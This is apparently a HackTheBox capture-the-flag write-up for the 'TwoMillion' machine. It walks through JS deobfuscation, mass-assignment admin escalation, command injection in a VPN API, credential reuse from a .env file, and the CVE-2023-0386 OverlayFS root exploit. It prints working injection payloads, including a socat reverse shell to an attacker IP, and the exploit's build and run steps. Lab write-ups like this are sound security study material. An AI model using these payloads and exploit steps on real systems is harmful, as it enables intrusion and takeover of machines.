Difficulty: Easy | OS: Linux | Tags: API, Command Injection, CVE-2023–0386, OverlayFS

Introduction

TwoMillion is a nostalgic machine — it recreates the old HackTheBox invite-code registration system. What looks like a simple web app turns out to be a chain of API vulnerabilities: obfuscated JavaScript, a broken access control flaw, and a command injection that lands you a shell. From there, a leaked .env file and a kernel exploit get you root.

This writeup covers the full attack chain with explanations of why each technique works.

Attack Chain:

JS Deobfuscation → Invite Code Generation → API Enumeration
→ Broken Access Control (IDOR) → Command Injection → RCE
→ Credential Leak (.env) → SSH → CVE-2023-0386 → Root

Reconnaissance

Nmap

nmap -sS -sC -sV -T4 10.129.229.66 -oA scan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

Two ports: SSH and HTTP. Nginx redirects to 2million.htb — add it to /etc/hosts:

echo "10.129.229.66 2million.htb" >> /etc/hosts

Directory Fuzzing

ffuf -u http://2million.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -mc 200,301,302,403 -e .php,.bak,.old,.txt -t 50

Nothing critical from automated fuzzing. Time for manual enumeration.

Web Enumeration

Browsing to http://2million.htb shows an old-school HTB landing page with a /invite registration page that requires an invite code.

Finding the Hidden JS Endpoint

Inspecting page source reveals a script: /js/inviteapi.min.js.

None

The code is obfuscated using a classic packer pattern:

eval(function(p,a,c,k,e,d){...}('1 i(4){h 8={"4":4};$.9({...', 24, 24, '...'.split('|'), 0, {}))

What is this? This is eval-based JavaScript packing — the code is compressed and reconstructed at runtime. Paste it into a deobfuscator (e.g., de4js.hackerfactor.com) to get the clean version:

function verifyInviteCode(code) {
    $.ajax({ type: "POST", url: '/api/v1/invite/verify', data: { "code": code }, ... });
}
function makeInviteCode() {
    $.ajax({ type: "POST", url: '/api/v1/invite/how/to/generate', ... });
}

Two API endpoints revealed. Let's hit the generation one.

Generating an Invite Code

Step 1 — Ask the API how to generate a code

POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htb

Response:

{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
    "enctype": "ROT13"
  }
}

ROT13 is a simple substitution cipher — each letter shifts 13 positions. Decode it on CyberChef:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Step 2 — Generate the code

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb

Response:

{"data": {"code": "RENVUUktTTFMQkctSlE0UjAtVDJUVUc=", "format": "encoded"}}

Base64 decode:

DCUQI-M1LBG-JQ4R0-T2TUG

Use this code to register an account on /invite. ✅

API Enumeration — The Route List Trick

After logging in, the app has a /home/access page to download VPN configs. Let's enumerate the API.

Lesson learned the hard way: Sending GET /api/v1/ returns a 301 redirect to a 404 page. The fix is simple — drop the trailing slash:

GET /api/v1 HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<your_session>

This returns the full API route map:

{
  "v1": {
    "user": {
      "GET": { "/api/v1/user/vpn/generate": "...", ... },
      "POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
    },
    "admin": {
      "GET":  { "/api/v1/admin/auth": "Check if user is admin" },
      "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
      "PUT":  { "/api/v1/admin/settings/update": "Update user settings" }
    }
  }
}

There's an admin section. Let's probe it.

Privilege Escalation via Broken Access Control

Testing the Admin Settings Endpoint

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<your_session>

Response: "Invalid content type." — Add Content-Type: application/json.

New response: "Missing parameter: email" — The API is leaking its expected parameters. This is a classic iterative parameter discovery pattern.

PUT /api/v1/admin/settings/update HTTP/1.1
Content-Type: application/json
{"email": "test@test.com"}

Response: "Missing parameter: is_admin"

{"email": "test@test.com", "is_admin": 1}

Response:

{"id": 13, "username": "Test", "is_admin": 1}

What just happened? This is a Broken Access Control vulnerability (OWASP A01). The API endpoint that updates admin status has no authorization check — any authenticated user can promote themselves to admin. This is also known as Mass Assignment: the server blindly accepts and applies user-supplied fields, including privileged ones like is_admin.

Command Injection → Remote Code Execution

Now admin, we can hit the VPN generation endpoint:

POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json
Cookie: PHPSESSID=<your_session>
{"username": "test"}

Returns a .ovpn file. The username is being passed directly to a shell command — let's test injection.

Why aaa;id; works but aaa;id doesn't

The backend likely constructs a command like:

easyrsa gen-req <username> nopass && cat /output/<username>.ovpn

With aaa;id;, the shell parses three separate commands:

  1. easyrsa gen-req aaa nopass && cat /output/aaa
  2. idthis executes
  3. .ovpn ← fails silently

Without the trailing ;, the shell tries to run id.ovpn as a single command — it doesn't exist, so you get an empty response.

{"username": "aaa;id;"}
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed. Now get a reverse shell:

# Listener
ncat -lvnp 9001
{"username": "aaa;socat TCP:10.10.16.181:9001 EXEC:sh;"}

Shell caught as www-data. ✅

Post-Exploitation — Credential Discovery

The .env File

ls -la /var/www/html
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Always check .env files — developers routinely leave plaintext credentials in them, forgetting they're accessible from the web root.

Database Enumeration

mysql -u admin -pSuperDuperPass123
USE htb_prod;
SELECT * FROM users;
| TRX          | $2y$10$TG6oZ3ow... | 1 |
| TheCyberGeek | $2y$10$wATidKUu... | 1 |
| Test         | $2y$10$b8MvwKMv... | 1 |

BCrypt hashes — too expensive to crack with a wordlist. But we have the DB password and there's an admin user on the system...

SSH with Reused Credentials

ssh admin@2million.htb
Password: SuperDuperPass123

✅ Password reuse between the database user and the system user.

Privilege Escalation to Root — CVE-2023–0386

LinPEAS Findings

Running linpeas.sh flags the kernel:

Kernel release: 5.15.70-051570-generic
CVE-2023-0386 | OverlayFS suid smuggle
Match: ver>=5.11, ver<=6.2, CONFIG_USER_NS=y

What is CVE-2023–0386?

This is an OverlayFS privilege escalation. OverlayFS allows layering filesystems (used heavily by Docker). The vulnerability: an unprivileged user can copy a setuid binary into an overlay mount, and the kernel fails to strip the SUID bit when it's merged into the upper layer. This lets you execute the binary as root from an unprivileged context.

Exploitation

# On attacker machine
git clone https://github.com/xkaneiki/CVE-2023-0386
# Transfer to target, compile
cd CVE-2023-0386 && make
# Step 1: Mount the overlay
./fuse ./ovlcap/lower ./gc &
# Step 2: Trigger the exploit
./exp
[+] mount success
[+] exploit success!
root@2million:/tmp/CVE-2023-0386# whoami
root

Flags

# User flag
cat /home/admin/user.txt
# Root flag
cat /root/root.txt

And in /root/thank_you.json — a message from the HTB creators thanking the community that built the original platform. A nice touch for a machine built around nostalgia.

Attack Chain Summary

[Recon] nmap → ports 22, 80
    ↓
[JS Deobfuscation] inviteapi.min.js → hidden API endpoints
    ↓
[ROT13 + Base64] /api/v1/invite/how/to/generate → invite code
    ↓
[API Route Leak] GET /api/v1 → full admin endpoint map
    ↓
[Broken Access Control] PUT /api/v1/admin/settings/update → is_admin: 1
    ↓
[Command Injection] POST /api/v1/admin/vpn/generate → RCE as www-data
    ↓
[Credential Leak] /var/www/html/.env → SuperDuperPass123
    ↓
[SSH] admin@2million.htb → user flag
    ↓
[CVE-2023-0386] OverlayFS SUID smuggle → root

Key Takeaways

Vulnerability Root Cause Fix Obfuscated JS leaking endpoints Security through obscurity Don't expose API logic client-side Broken Access Control No authz check on admin endpoint Verify is_admin server-side before allowing updates Command Injection Unsanitized input in shell_exec Never pass user input to shell; use parameterized APIs Credential Reuse DB password = SSH password Unique credentials per service CVE-2023-0386 Kernel 5.15.70 unpatched Patch kernel; restrict user namespaces

Follow for more writeups on web exploitation and Active Directory attacks.